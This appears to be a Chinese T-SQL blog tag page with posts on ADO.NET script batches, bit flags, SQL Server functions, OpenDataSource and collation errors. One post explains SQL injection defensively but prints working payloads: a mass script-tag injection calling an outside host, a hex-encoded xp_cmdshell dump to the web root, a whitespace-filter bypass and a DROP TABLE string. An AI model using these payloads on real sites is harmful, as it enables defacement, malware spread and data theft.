顯示具有 T-SQL 標籤的文章。 顯示所有文章
顯示具有 T-SQL 標籤的文章。 顯示所有文章

在 .NET 應用程式中執行 T-SQL 指令碼檔

0 comments
當你在 .NET 應用程式,使用 ADO.NET 提交包含 GO 指令的 T-SQL 批次時,SQL Server 會引發的語法不正確的錯誤。這是因為 GO 指令是 sqlcmd 、osql 等公用程式和 SQL Server 指令碼編輯器所認識的指令,而非有效的 T-SQL 陳述式。

在執行含有一個以上 T-SQL 批次的指令碼時,SQL Server 公用程式會將 GO 視為 T-SQL 陳述式批次結束的信號,並將目前一個或多個 SQL 陳述式的集合傳送至 SQL Server,但並不包含 GO 指令。因此,當你使用 ADO.NET 執行多個 T-SQL 批次的指令碼時,你必須自行過濾 GO 指令,並分批執行 T-SQL 陳述式。

如以下範例使用 EmbeddedResourceTextReader 讀取內嵌資源的 SQL 指令碼檔內容,並透過 Regex 物件以 GO 關鍵字將指令碼分隔成批次陳述式,然後再逐一提交至 SQL Server 執行:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
using System.Text.RegularExpressions;

namespace RunSql
{
class Program
{
static void Main(string[] args)
{
string script = new EmbeddedResourceTextReader()
.GetFromResources("RunSql.Install.sql");

string[] stmts = Regex.Split(script, "\\sGO\\s", RegexOptions.IgnoreCase);

using (SqlConnection conn =
new SqlConnection(ConfigurationManager
.ConnectionStrings["DefaultConnection"]
.ConnectionString))
{
conn.Open();
using (SqlTransaction trans =
conn.BeginTransaction(IsolationLevel.ReadUncommitted))
{
using (SqlCommand cmd = conn.CreateCommand())
{
cmd.Transaction = trans;
cmd.CommandType = CommandType.Text;

foreach (string stmt in stmts)
{
cmd.CommandText = stmt.Trim();
if (cmd.CommandText.Length > 0)
{
try
{
cmd.ExecuteNonQuery();
}
catch(SqlException)
{
trans.Rollback();
throw;
}
}
}
}
trans.Commit();
}
}
}
}
}

相較於 ADO.NET,使用 SQL Server Management Objects(SMO)就無須處理 GO 指令的問題,使用起來更為簡便。有關如何使用 SMO 執行 T-SQL 批次的範例程式碼,請參閱這裡

繼續閱讀...

如何在資料庫存取組合旗標值

0 comments
在程式設計當中,如果要建立可以組合列舉值清單的位元旗標列舉型別時,我們會以 2 的乘冪來定義列舉常數。事實上,在資料庫設計中我們也可以沿用位元旗標列舉的概念,使用單一整數型別的欄位來儲存多個整數常值的組合旗標。

範例資料表
本文將藉以下是範例資料表來示範如何對數值欄位存取組合旗標:
CREATE TABLE [dbo].[User] ( 
[UserName] [varchar] (20) NOT NULL,
[Status] [int] NOT NULL DEFAULT 0
)

其中 Status 欄位可以儲存的整數常值以 2 的乘冪定義如下:
狀態整數二進位值
APPROVED10001
LOCKED_OUT20010
BANNED40100
DELETED81000

使用 2 的乘冪來定義整數常值,是為了確保在結合的常數中的個別旗標不會重疊。
DELETEDBANNEDLOCKED_OUTAPPROVED計算結果
00111+23
01011+45
11011+4+813

加入旗標值
這時我們所定義的常值便可透過位元 OR 運算來組合旗標值。
INSERT INTO [User] VALUES ('Nancy',1|2)
INSERT INTO [User] VALUES ('Robert',1|4)
INSERT INTO [User] VALUES ('Laura',1|2|4|8)
INSERT INTO [User] VALUES ('Andrew',0)
INSERT INTO [User] VALUES ('Janet',1)

當你要測試數值中是否包含特定旗標時,必須先將數值與特定的旗標值進行位元 AND 運算後,再將運算的結果與該旗標值進行相等比較。
SELECT * FROM [User] WHERE Status&2 = 2

UserNameStatus
Nancy3
Laura15

移除旗標值
若要在數值中移除特定的旗標值,可以將數值與旗標值進行位元互斥 OR 運算。
UPDATE [User]
SET Status = Status^4
WHERE UserName = 'Robert' AND Status&4 = 4

值得注意的是,在對數值與特定的旗標進行位元互斥 OR 運算前,務必先確認該旗標已設定在數值中再執行,否則若貿然對不存在的旗標進行位元互斥 OR 運算將會得到反效果。

參考資料:
Storing Multiple Statuses Using an Integer Column
SQL Server: Updating Integer Status Columns
Integer Based Bit Manipulation - SQL

繼續閱讀...

Useful User-Defined Functions for SQL Server

0 comments
在資料庫設計中,我們常會應用預儲程序(Stored Procedure)來對資料進行 CRUD 操作。除此之外,你也可以撰寫自訂函數來應付經常性的資料存取作業或是複雜的計算等等。在這裡,我羅列幾個我在過去開發商務系統中常會應用到的自訂函數。

fn_GetNextBusinessDay
指定起始日期,並傳回最近一個營業日期。
CREATE FUNCTION dbo.fn_GetNextBusinessDay(@StartingDate datetime)
RETURNS datetime
AS
BEGIN
DECLARE @NextBusinessDay datetime

IF DATEPART(dw, @StartingDate) = (7 - @@DATEFIRST + FLOOR(@@DATEFIRST / 7) * 7) --Saturday
SET @NextBusinessDay = DATEADD(d, 2, @StartingDate)
ELSE IF DATEPART(dw, @StartingDate) = (8 - @@DATEFIRST) --Sunday
SET @NextBusinessDay = DATEADD(d, 1, @StartingDate)
ELSE
SET @NextBusinessDay = @StartingDate

RETURN @NextBusinessDay
END

fn_GetTax
指定銷售額及稅率,並傳回應付的營業稅額。
CREATE FUNCTION dbo.fn_GetTax(@Amount int, @TaxRate real)
RETURNS real
AS
BEGIN
DECLARE @UntaxedPrice int, @Tax int
SET @UntaxedPrice = ROUND(CAST(@Amount AS real) / (1 + @TaxRate), 0)
SET @Tax = @Amount - @UntaxedPrice

RETURN @Tax
END

fn_FormatPercent
指定浮點數資料,並傳回百分比的表示式。
CREATE FUNCTION dbo.fn_FormatPercent(@InputNumber float)
RETURNS varchar(20)
AS
BEGIN
RETURN CAST(CAST(@InputNumber * 100 AS numeric(10, 0)) AS varchar(20)) + '%'
END

fn_PadLeft
將輸入字串靠右對齊,以特定的字元在左側填補至指定的總長度。
CREATE FUNCTION dbo.fn_PadLeft(@InputString varchar(1024), @PaddingChar char(1), @FieldLength int)
RETURNS varchar(1024)
AS
BEGIN
DECLARE @PaddingString varchar(1024)
IF @FieldLength > 0
SET @PaddingString = RIGHT(REPLICATE(@PaddingChar, @FieldLength) + @InputString, @FieldLength)
ELSE
SET @PaddingString = @InputString

RETURN @PaddingString
END

繼續閱讀...

SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

如何使用 OpenDataSource 查詢文字檔

0 comments
OpenDataSource 提供了特定(Ad Hoc)連線資訊作為包含四個部份的物件名稱(Four-part Name)的一部份,而不需使用連結伺服器的名稱。四個部分的名稱一般用於分散式查詢,其格式如下:
linkedserver.catalog.schema.object_name

以下範例藉由 OLE DB Provider for Jet 來查詢文字檔 (test.txt):
select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0', 'Data Source = C:\; Extended Properties = "Text;HDR=NO"')...test#txt

事實上 OpenDataSource 函數就位於前面提到的四個部份的物件名稱中的 linkedserver 位置,所以你應把它視為伺服器,而 test.txt 就是資料表。記得,因為逗點是物件識別名稱的一部份,所以你必須將檔名中的逗號使用 # 符號取代。

連線字串中的 Data Source 需指定來源檔案的所在目錄。Extended Properties 必須包含 Text;除此之外,你可以選擇性指定 HDR=NO 表示文字檔的第一列沒有包含欄位標題,這時 SQL Server 將會自動以 F1 、 F2 、 F3 ... 來命名資料欄位。以上面的查詢範例來說,只能針對以號分隔的文字檔輸出資料欄位,如果你需要查詢特定格式的資料,則必須在 Data Source 目錄下建立 Schema.ini 來指定查詢參數。有關如何建立 Schema.ini 檔的詳細資訊可以參考這裡

以下的 Schema.ini 範例,描述 test.txt 是使用 tab 分隔的文字檔:
[test.txt]
Format=TabDelimited
ColNameHeader=False
MaxScanRows=0
CharacterSet=ANSI

參考文章:
OPENDATASOURCE (Transact-SQL) by Microsoft
Schema.ini File (Text File Driver) by Microsoft

繼續閱讀...

定序衝突 (Transact-SQL)

1 comments
當你的 SQL 查詢試圖去比較不同定序的資料欄位時,就會出現如下類似的錯誤訊息:
訊息 468,層級 16,狀態 9,行 1
無法解析 equal to 作業中 "Latin1_General_CI_AI" 與 "Chinese_Taiwan_Stroke_CI_AS" 之間的定序衝突。

以下是在 SQL Server 2005 所引發錯誤的 SQL 查詢範例:
select * from sysobjects o
left join ::fn_Listextendedproperty(null, N'user',N'dbo',N'table', default, null, null) e on o.name = e.objname
where type = 'U'

當你在定序為 Chinese_Taiwan_Stroke_CI_AS 的資料庫,使用 fn_Listextendedproperty 函式與 sysobjects 資料表合併查詢時,就會發生定序衝突(Collation Conflict)的錯誤。這是因為 fn_Listextendedproperty 函式回傳的資料固定是以 Latin1_General_CI_AI 為定序,所以導致定序不一致的情況。

上例的解決作法就是在運算式中,做明確的字串定序轉換,如以下範例:
select * from sysobjects o
left join ::fn_Listextendedproperty(null, N'user',N'dbo',N'table', default, null, null) e on o.name = e.objname COLLATE Chinese_Taiwan_Stroke_CI_AS
where type = 'U'

你也可以利用 COLLATE 子句中的 database_default 選項,指定特定的資料行使用目前連接的使用者資料庫之定序預設值。

繼續閱讀...